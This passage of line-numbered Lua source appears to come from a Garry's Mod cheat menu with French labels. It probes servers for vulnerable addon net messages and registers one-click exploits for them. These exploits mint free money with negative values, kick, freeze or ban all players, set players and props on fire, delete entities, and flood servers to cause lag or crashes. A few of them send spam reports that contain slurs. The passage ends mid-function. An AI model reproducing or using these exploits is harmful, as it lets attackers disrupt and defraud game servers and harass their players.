8915net.WriteTable({ Target = LocalPlayer() })
8916net.SendToServer()
8917end
8918end
8919end )
8920end
8921
8922status = ValidNetString("TakeBetMoney")
8923if (status) then
8924CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
8925addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent", function()
8926surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8927net.Start("TakeBetMoney")
8928net.WriteTable({1e333333 , 1e333333})
8929net.SendToServer()
8930end )
8931end
8932
8933status = ValidNetString("Kun_SellOil")
8934if (status) then
8935CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
8936addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent", function()
8937surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8938for k,v in pairs(ents.GetAll()) do
8939net.Start("Kun_SellOil")
8940net.WriteEntity(v)
8941net.SendToServer()
8942end
8943end )
8944end
8945
8946status = ValidNetString("DepositMoney")
8947if (status) then
8948CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
8949addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent", function()
8950surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8951net.Start("DepositMoney")
8952for k,v in pairs(ents.GetAll()) do
8953net.WriteEntity(v)
8954net.WriteString(-100000000 )
8955net.WriteEntity(LocalPlayer())
8956net.SendToServer()
8957end
8958end )
8959end
8960
8961status = ValidNetString("NET_SS_DoBuyTakeoff")
8962if (status) then
8963CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
8964addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent", function()
8965surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8966net.Start("NET_SS_DoBuyTakeoff",true)
8967net.WriteEntity(LocalPlayer())
8968net.WriteEntity(table.Random(player.GetAll()))
8969net.WriteTable({})
8970net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
8971net.SendToServer()
8972end )
8973end
8974
8975status = ValidNetString("NET_EcSetTax")
8976if (status) then
8977CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
8978addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent", function()
8979surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8980net.Start("NET_EcSetTax")
8981net.WriteInt(-9999999999, 16)
8982net.SendToServer()
8983end )
8984end
8985
8986status = ValidNetString("RP_Accept_Fine")
8987if (status) then
8988CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
8989addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent", function()
8990surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8991for k,v in pairs(player.GetAll())do
8992net.Start("RP_Accept_Fine")
8993net.WriteString(v:Nick())
8994net.WriteDouble(-999999999999)
8995net.SendToServer()
8996end
8997end )
8998end
8999
9000status = ValidNetString("drugseffect_remove")
9001if (status) then
9002CHATPRINT("Exploit Trouvé : Supprimer Armes [drugseffect_remove]")
9003addExploit( "119","Supprimer Armes", "Supprimer Toutes Les Armes", function()
9004surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9005net.Start("drugseffect_remove")
9006net.SendToServer()
9007end )
9008end
9009
9010status = ValidNetString("drugs_money")
9011if (status) then
9012CHATPRINT("Exploit Trouvé : Supprimer L'Argent [drugs_money]")
9013addExploit( "120","Supprimer L'Argent", "Adieu L'argent :c", function()
9014surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9015net.Start("drugs_money")
9016net.SendToServer()
9017end )
9018end
9019
9020status = ValidNetString("CRAFTINGMOD_SHOP")
9021if (status) then
9022CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
9023addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'", function()
9024surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9025net.Start("CRAFTINGMOD_SHOP")
9026net.WriteTable({
9027BUY = -9999999;
9028type = 1
9029})
9030net.WriteInt(1,16)
9031net.SendToServer()
9032end )
9033end
9034
9035status = ValidNetString("drugs_ignite")
9036if (status) then
9037CHATPRINT("Exploit Trouvé : Brûler Des Joueurss [drugs_ignite]")
9038addExploit( "122","Brûler Des Joueurss", "", function()
9039surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9040net.Start("drugs_ignite")
9041net.WriteString("player")
9042net.SendToServer()
9043end )
9044end
9045
9046status = ValidNetString("drugs_ignite")
9047if (status) then
9048CHATPRINT("Exploit Trouvé : Props En Feu [drugs_ignite]")
9049addExploit( "123","Props En Feu", "", function()
9050surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9051net.Start("drugs_ignite")
9052net.WriteString("prop_physics")
9053net.SendToServer()
9054end )
9055end
9056
9057status = ValidNetString("drugseffect_hpremove")
9058if (status) then
9059CHATPRINT("Exploit Trouvé : Modifier PV [drugseffect_hpremove]")
9060addExploit( "124","Modifier PV", "", function()
9061surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9062net.Start("drugseffect_hpremove")
9063net.WriteString(99999)
9064net.SendToServer()
9065end )
9066end
9067
9068status = ValidNetString("drugs_text")
9069if (status) then
9070CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
9071addExploit( "125","Supprimer Tous Les Props #2", "", function()
9072surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9073net.Start("drugs_text")
9074net.WriteString("prop_physics")
9075net.SendToServer()
9076end )
9077end
9078
9079status = ValidNetString("drugs_give")
9080if (status) then
9081CHATPRINT("Exploit Trouvé : Donnez Un RPG A Tout Le Monde [drugs_give]")
9082addExploit( "126","Donnez Un RPG A Tout Le Monde", "", function()
9083surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9084net.Start("drugs_give")
9085net.WriteString("weapon_rpg")
9086net.SendToServer()
9087end )
9088end
9089
9090status = ValidNetString("drugs_text")
9091if (status) then
9092CHATPRINT("Exploit Trouvé : Supprimer L'Eau [drugs_text]")
9093addExploit( "127","Supprimer L'Eau", "", function()
9094surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9095net.Start("drugs_text")
9096net.WriteString("func_water_analog")
9097net.SendToServer()
9098end )
9099end
9100
9101status = ValidNetString("drugs_effect")
9102if (status) then
9103local eye = LocalPlayer():GetEyeTrace().Entity
9104local send = "del|"..eye:EntIndex()
9105CHATPRINT("Exploit Trouvé : Supprimer ce qu'on regarde [drugs_effect]")
9106addExploit( "128","Supprimer ce qu'on regarde", "", function()
9107surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9108net.Start("drugs_effect")
9109net.WriteString(send)
9110net.SendToServer()
9111end )
9112end
9113
9114status = ValidNetString("RecKickAFKer")
9115if (status) then
9116CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
9117addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
9118surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9119for k, v in pairs( player.GetAll() ) do
9120net.Start("RecKickAFKer")
9121net.WriteEntity(v)
9122net.SendToServer()
9123end
9124end )
9125end
9126
9127status = ValidNetString("GMBG:PickupItem")
9128if (status) then
9129CHATPRINT("Exploit Trouvé : Recevoir Items [GMBG:PickupItem]")
9130addExploit( "130","Recevoir Items", "", function()
9131surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9132for k, v in pairs(ents.GetAll()) do
9133if v:GetClass() == "item_loot" then
9134net.Start("GMBG:PickupItem")
9135net.WriteEntity(v)
9136net.SendToServer()
9137net.Start("GMBG:PickupItem")
9138net.WriteEntity(v)
9139net.SendToServer()
9140net.Start("GMBG:PickupItem")
9141net.WriteEntity(v)
9142net.SendToServer()
9143net.Start("GMBG:PickupItem")
9144net.WriteEntity(v)
9145net.SendToServer()
9146net.Start("GMBG:PickupItem")
9147net.WriteEntity(v)
9148net.SendToServer()
9149net.Start("GMBG:PickupItem")
9150net.WriteEntity(v)
9151net.SendToServer()
9152end
9153end
9154end )
9155end
9156
9157status = ValidNetString("plyWarning")
9158if (status) then
9159CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
9160addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
9161surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9162for k, v in pairs( player.GetAll() ) do
9163net.Start('plyWarning')
9164net.WriteEntity(v)
9165net.WriteString('You have to select a player before doing a action.')
9166net.SendToServer()
9167end
9168end )
9169end
9170
9171status = ValidNetString("NLR.ActionPlayer")
9172if (status) then
9173CHATPRINT("Exploit Trouvé : Freeze Tout Le Monde [NLR.ActionPlayer]")
9174addExploit( "132","Freeze Tout Le Monde", "", function()
9175surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9176for k, v in pairs( player.GetAll() ) do
9177net.Start("NLR.ActionPlayer")
9178net.WriteEntity(v)
9179net.SendToServer()
9180end
9181end )
9182end
9183
9184status = ValidNetString("kart_sell")
9185if (status) then
9186CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
9187addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent", function()
9188surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9189for i=1, 300 do
9190net.Start("kart_sell")
9191net.WriteString("sw_gokart")
9192net.SendToServer()
9193end
9194end )
9195end
9196
9197status = ValidNetString("ClickerAddToPoints")
9198if (status) then
9199CHATPRINT("Exploit Trouvé : Point Gratuit [ClickerAddToPoints]")
9200addExploit( "134","Point Gratuit", "", function()
9201surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9202net.Start("ClickerAddToPoints")
9203net.WriteInt(99999999, 32)
9204net.SendToServer()
9205end )
9206end
9207
9208status = ValidNetString("bodyman_model_change")
9209if (status) then
9210CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
9211addExploit( "135","Body Groups", "constantly changes your appearance", function()
9212surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9213local PM = 1
9214local SK = 1
9215local BG = 1
9216local HN = 1
9217local TS = 1
9218local GL = 1
9219local LG = 1
9220if !timer.Exists( "bodygroups" ) then
9221timer.Create("bodygroups", 0, 0, function()
9222PlayerModels = {0,1,2,3,4,5,6}
9223Torso = {0,1,2,3,4,5,6,7,8,9,10}
9224Legs = {0,1,2,3,4,5,6}
9225Hands = {0,1,2}
9226Glasses = {0,1}
9227Skins = {0,1,2,3,4,5,6,7,8,9,10}
9228PM = PM+1
9229TS = TS+1
9230LG = LG+1
9231HN = HN+1
9232GL = GL+1
9233SK = SK+1
9234if (PM>#PlayerModels) then PM=1 end
9235if (SK>#Skins) then SK=1 end
9236if (HN>#Hands) then HN=1 end
9237if (TS>#Torso) then TS=1 end
9238if (GL>#Glasses) then GL=1 end
9239if (LG>#Legs) then LG=1 end
9240net.Start("bodyman_model_change")
9241net.WriteInt(PlayerModels[PM], 10 )
9242net.SendToServer()
9243net.Start("bodygroups_change")
9244net.WriteTable( { 1, Torso[TS] } )
9245net.SendToServer()
9246net.Start("bodygroups_change")
9247net.WriteTable( { 2, Legs[LG] } )
9248net.SendToServer()
9249net.Start("bodygroups_change")
9250net.WriteTable( { 3, Hands[HN] } )
9251net.SendToServer()
9252net.Start("bodygroups_change")
9253net.WriteTable( { 4, Glasses[GL] } )
9254net.SendToServer()
9255end )
9256else
9257timer.Remove("bodygroups")
9258--("Stopping")
9259end
9260end )
9261end
9262
9263status = ValidNetString("SendMoney")
9264if (status) then
9265CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
9266addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent", function()
9267surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9268hook.Remove( "HUDPaint", "skhdsakjl")
9269net.Start("SendMoney")
9270net.WriteEntity(LocalPlayer())
9271net.WriteEntity(LocalPlayer())
9272net.WriteEntity(LocalPlayer())
9273net.WriteString("-99999999")
9274net.SendToServer()
9275end )
9276end
9277
9278status = ValidNetString("BailOut")
9279if (status) then
9280CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
9281addExploit( "137","Argent Gratuite #17", "", function()
9282surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9283for k, v in pairs(player.GetAll()) do
9284net.Start("BailOut")
9285net.WriteEntity(LocalPlayer())
9286net.WriteEntity(v)
9287net.WriteFloat(-999999999)
9288net.SendToServer()
9289end
9290end )
9291end
9292
9293status = ValidNetString("hitcomplete")
9294if (status) then
9295CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
9296addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent", function()
9297surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9298net.Start("hitcomplete")
9299net.WriteDouble(99999999)
9300net.SendToServer()
9301end )
9302end
9303----------------------------------------
9304for k,v in pairs(player.GetAll()) do
9305dahater = v
9306end
9307----------------------------------------
9308status = ValidNetString("hhh_request")
9309if (status) then
9310CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
9311addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent", function()
9312surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9313local plyhhh = LocalPlayer()
9314if dahater != plyhhh then
9315local hitRequest = {}
9316hitRequest.hitman = plyhhh
9317hitRequest.requester = plyhhh
9318hitRequest.target = dahater
9319hitRequest.reward = -9999999
9320net.Start('hhh_request')
9321net.WriteTable(hitRequest)
9322net.SendToServer()
9323else
9324CHATPRINT("In this version of HHH, you can not use an exploit!")
9325end
9326end )
9327end
9328
9329status = ValidNetString("DaHit")
9330if (status) then
9331CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
9332addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent", function()
9333surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9334hook.Remove( "HUDPaint", "skhdsakjl")
9335net.Start("DaHit")
9336net.WriteFloat(-99999999)
9337net.WriteEntity(LocalPlayer())
9338net.WriteEntity(LocalPlayer())
9339net.WriteEntity(LocalPlayer())
9340net.SendToServer()
9341end )
9342end
9343
9344status = ValidNetString("textstickers_entdata")
9345if (status) then
9346CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
9347addExploit( "141","Crash #2", "1tap", function()
9348surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9349net.Start("textstickers_entdata")
9350net.WriteUInt(0xFFFFFFF, 32)
9351net.SendToServer()
9352end )
9353end
9354
9355status = ValidNetString("gBan.BanBuffer")
9356if (status) then
9357CHATPRINT("Exploit Trouvé : gBan Tout Le Monde [gBan.BanBuffer]")
9358addExploit( "142","gBan Tout Le Monde", "Marche avec la vieille version de GBan", function()
9359surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9360for k,v in pairs(player.GetAll()) do
9361if v != LocalPlayer() then
9362net.Start("gBan.BanBuffer")
9363net.WriteBool(true)
9364net.WriteInt(0, 32)
9365net.WriteString("haha owned")
9366net.WriteString(v:SteamID())
9367net.SendToServer()
9368end
9369end
9370end )
9371end
9372
9373status = ValidNetString("ARMORY_RetrieveWeapon")
9374if (status) then
9375CHATPRINT("Exploit Trouvé : Armure Gratuite #1 [ARMORY_RetrieveWeapon]")
9376addExploit( "143","Armure Gratuite #1", "get weapon #1", function()
9377surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9378net.Start("ARMORY_RetrieveWeapon")
9379net.WriteString("weapon1")
9380net.SendToServer()
9381end )
9382end
9383
9384status = ValidNetString("ARMORY_RetrieveWeapon")
9385if (status) then
9386CHATPRINT("Exploit Trouvé : Armure Gratuite #2 [ARMORY_RetrieveWeapon]")
9387addExploit( "144","Armure Gratuite #2", "get weapon #2", function()
9388surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9389net.Start("ARMORY_RetrieveWeapon")
9390net.WriteString("weapon2")
9391net.SendToServer()
9392end )
9393end
9394
9395status = ValidNetString("ARMORY_RetrieveWeapon")
9396if (status) then
9397CHATPRINT("Exploit Trouvé : Armure Gratuite #3 [ARMORY_RetrieveWeapon]")
9398addExploit( "145","Armure Gratuite #3", "get weapon #3", function()
9399surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9400net.Start("ARMORY_RetrieveWeapon")
9401net.WriteString("weapon3")
9402net.SendToServer()
9403end )
9404end
9405
9406status = ValidNetString("TransferReport")
9407if (status) then
9408CHATPRINT("Exploit Trouvé : Spam De Report [TransferReport]")
9409addExploit( "146","Spam De Report", "Report Tout Le Monde players", function()
9410surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9411net.Start("TransferReport")
9412net.WriteString(v:SteamID())
9413net.WriteString("CHINKGANG FAGOTS")
9414net.WriteString("DITCH THIS SHITTY SERVER AND BUY evil TODAY")
9415net.SendToServer()
9416end )
9417end
9418
9419status = ValidNetString("FIRE_CreateFireTruck")
9420if (status) then
9421CHATPRINT("Exploit Trouvé : Crée Un Camion De Pompier [FIRE_CreateFireTruck]")
9422addExploit( "147","Crée Un Camion De Pompier", "", function()
9423surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9424net.Start("FIRE_CreateFireTruck")
9425net.SendToServer()
9426end )
9427end
9428
9429status = ValidNetString("TFA_Attachment_RequestAll")
9430if (status) then
9431CHATPRINT("Exploit Trouvé : Crée Des Lags #20 [TFA_Attachment_RequestAll]")
9432addExploit( "148","Crée Des Lags #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
9433surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger20" ) then
9434timer.Create("lagger20", 0,0, function()
9435for i = 1, 800 do
9436net.Start("TFA_Attachment_RequestAll",true)
9437net.SendToServer()
9438end
9439end)
9440--("Lags Démarré")
9441else
9442timer.Remove("lagger20")
9443--("Lags Arreté")
9444end
9445end)
9446end
9447
9448status = ValidNetString("FIRE_RemoveFireTruck")
9449if (status) then
9450CHATPRINT("Exploit Trouvé : Supprimer Les Camions De Pompier [FIRE_RemoveFireTruck]")
9451addExploit( "149","Supprimer Les Camions De Pompier", "", function()
9452surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9453net.Start("FIRE_RemoveFireTruck")
9454net.SendToServer()
9455end )
9456end
9457
9458status = ValidNetString("gPrinters.sendID")
9459if (status) then
9460CHATPRINT("Exploit Trouvé : Crée Des Lags #21 [gPrinters.sendID]")
9461addExploit( "150","Crée Des Lags #21", "B1G LAGZ, ", function()
9462surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9463if not timer.Exists("lagger21") then
9464timer.Create("lagger21", 0, 0, function()
9465for i = 1, 1000 do
9466net.Start("gPrinters.sendID",true)
9467net.WriteEntity(LocalPlayer())
9468net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
9469net.SendToServer()
9470end
9471end )
9472end
9473end )
9474end
9475
9476status = ValidNetString("requestmoneyforvk") -- RusElite Server
9477if (status) then
9478CHATPRINT("Exploit Trouvé : Recevoir 50k [requestmoneyforvk]")
9479addExploit( "151","Recevoir 50k", "Argent Facile Tu Peut Pas Test", function()
9480surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9481net.Start("requestmoneyforvk")
9482net.WriteEntity(LocalPlayer())
9483net.SendToServer()
9484end )
9485end
9486
9487status = ValidNetString("NET_BailPlayer")
9488if (status) then
9489CHATPRINT("Exploit Trouvé : Spam Les Joueurs [NET_BailPlayer]")
9490addExploit( "153","Spam Les Joueurs", "", function()
9491surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9492for k, v in pairs (player.GetAll()) do
9493net.Start("NET_BailPlayer")
9494net.WriteEntity(v)
9495net.WriteEntity(v)
9496net.SendToServer()
9497end
9498end )
9499end
9500
9501status = ValidNetString("Taxi_Add")
9502if (status) then
9503CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
9504addExploit( "154","Argent Gratuite #21", "Peu ne pas marcher", function()
9505surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9506net.Start("Taxi_Add")
9507net.WriteString("MLG")
9508net.WriteTable({-1333.647461, -1473.931763, -139.968750})
9509net.WriteFloat(-99999999)
9510net.WriteString(Desc)
9511net.SendToServer()
9512end )
9513end
9514
9515status = ValidNetString("BuyCar")
9516if (status) then
9517CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
9518addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent", function()
9519surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9520for k,v in pairs(player.GetAll()) do
9521net.Start('BuyCar')
9522net.WriteFloat(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000)
9523net.WriteEntity(LocalPlayer())
9524net.WriteString("Gay")
9525net.WriteString("Cock")
9526net.WriteString("Twat")
9527net.SendToServer()
9528end
9529end )
9530end
9531
9532status = ValidNetString("rpi_trade_end")
9533if (status) then
9534CHATPRINT("Exploit Trouvé : Test Fonction [rpi_trade_end]")
9535addExploit( "156","Test Fonction", "just test", function()
9536surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9537local it = 0
9538timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
9539if( it > #player.GetAll() ) then
9540it = 1;
9541else
9542it = it + 1;
9543end
9544net.Start("rpi_trade_end")
9545net.WriteUInt( it, 16 )
9546net.SendToServer()
9547end )
9548end )
9549end
9550
9551status = ValidNetString("ClickerForceSave")
9552if (status) then
9553CHATPRINT("Exploit Trouvé : Crash Avec Un Melon [ClickerForceSave]")
9554addExploit( "157","Crash Avec Un Melon", "", function()
9555surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9556hook.Add("Think","ps_spam",function()
9557for k, v in pairs (player.GetAll()) do
9558net.Start("ClickerForceSave")
9559net.WriteEntity(ply)
9560net.WriteInt(1, 1)
9561net.SendToServer()
9562end
9563end )
9564end )
9565end
9566
9567status = ValidNetString("SRequest")
9568if (status) then
9569CHATPRINT("Exploit Trouvé : Prendre Un Deagle [SRequest]")
9570addExploit( "158","Prendre Un Deagle", "", function()
9571surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9572for k, v in pairs (player.GetAll()) do
9573net.Start("SRequest")
9574net.WriteEntity(v)
9575net.SendToServer()
9576end
9577end )
9578end
9579
9580status = ValidNetString("HealButton")
9581if (status) then
9582CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
9583addExploit( "159","PV Gratuit", "PV Gratuit", function()
9584surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9585net.Start("HealButton")
9586net.WriteEntity(LocalPlayer())
9587net.WriteFloat(999999)
9588net.SendToServer()
9589end )
9590end
9591
9592status = ValidNetString("ArmorButton")
9593if (status) then
9594CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
9595addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
9596surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9597net.Start("ArmorButton")
9598net.WriteEntity(LocalPlayer())
9599net.WriteFloat(999999)
9600net.SendToServer()
9601end )
9602end
9603
9604status = ValidNetString("SprintSpeedset")
9605if (status) then
9606CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
9607addExploit( "161","TTT SpeedHack", "changes your speed", function()
9608surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9609net.Start("SprintSpeedset")
9610net.WriteFloat(math.min(math.max(2, 0.1),2 ))
9611net.SendToServer()
9612end )
9613end
9614
9615status = ValidNetString("GiveArmor100")
9616if (status) then
9617CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
9618addExploit( "162","Exploit D'Armure ", "", function()
9619surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9620net.Start("GiveArmor100")
9621net.SendToServer()
9622end )
9623end
9624
9625status = ValidNetString("Client_To_Server_OpenEditor")
9626if (status) then
9627CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson [Client_To_Server_OpenEditor]")
9628addExploit( "164","SCP 249 Drink Menu Hack", "", function()
9629surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9630net.Start("Client_To_Server_OpenEditor")
9631net.SendToServer()
9632end )
9633end
9634
9635status = ValidNetString("DuelMessageReturn")
9636if (status) then
9637CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
9638addExploit( "165","Combat Fou", "forces all players to fight with all players, ", function()
9639surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9640timer.Create("crazyduel", 0.1, 0, function()
9641s.duel[1] = table.Random( player.GetAll() )
9642s.duel[2] = table.Random( player.GetAll() )
9643net.Start("DuelMessageReturn")
9644net.WriteFloat(1)
9645net.WriteTable(s.duel)
9646net.SendToServer()
9647end )
9648end )
9649end
9650
9651status = ValidNetString("userAcceptPrestige")
9652if (status) then
9653CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
9654addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
9655surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9656net.Start("userAcceptPrestige")
9657net.SendToServer()
9658end )
9659end
9660
9661status = ValidNetString("wordenns")
9662if (status) then
9663CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
9664addExploit( "167","Voler L'argents De Tous #11", "withdraw money from all printers", function()
9665surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9666CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
9667for k,v in pairs(ents.FindByClass("derma_printer")) do
9668net.Start("wordenns")
9669net.WriteEntity(v)
9670net.SendToServer()
9671end
9672end)
9673end
9674
9675status = ValidNetString("guncraft_removeWorkbench")
9676if (status) then
9677CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités [guncraft_removeWorkbench]")
9678addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
9679surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9680if !timer.Exists( "removentity" ) then
9681timer.Create("removentity", 3, 0, function()
9682for k,v in pairs(ents.GetAll()) do
9683net.Start("guncraft_removeWorkbench")
9684net.WriteEntity(v)
9685net.SendToServer()
9686end
9687end )
9688end
9689end )
9690end
9691
9692status = ValidNetString("BuyKey")
9693if (status) then
9694CHATPRINT("Exploit Trouvé : Blue Unbox Exploit")
9695addExploit( "169","Blue Unbox Exploit", "", function()
9696surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9697net.Start("BuyKey")
9698net.SendToServer()
9699net.Start("BuyCrate")
9700net.SendToServer()
9701end )
9702end
9703
9704status = ValidNetString("casinokit_chipexchange")
9705if (status) then
9706CHATPRINT("Exploit Trouvé : Argent Gratuite #23 [casinokit_chipexchange]")
9707addExploit( "170","Argent Gratuite #23", "only works if outdated", function()
9708surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9709local moneylog = LocalPlayer():getDarkRPVar("money")
9710net.Start("casinokit_chipexchange")
9711net.WriteEntity(self)
9712net.WriteString("darkrp")
9713net.WriteBool(true)
9714net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
9715net.SendToServer()
9716timer.Simple(3, function()
9717for i=1, 5000 do
9718net.Start("casinokit_chipexchange")
9719net.WriteEntity(self)
9720net.WriteString("darkrp")
9721net.WriteBool(false)
9722net.WriteUInt(moneylog*0.10,32)
9723net.SendToServer()
9724end
9725end)
9726end )
9727end
9728
9729status = ValidNetString("PurchaseWeed")
9730if (status) then
9731CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
9732addExploit( "171","Achetez Drogue", "", function()
9733surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9734net.Start("PurchaseWeed")
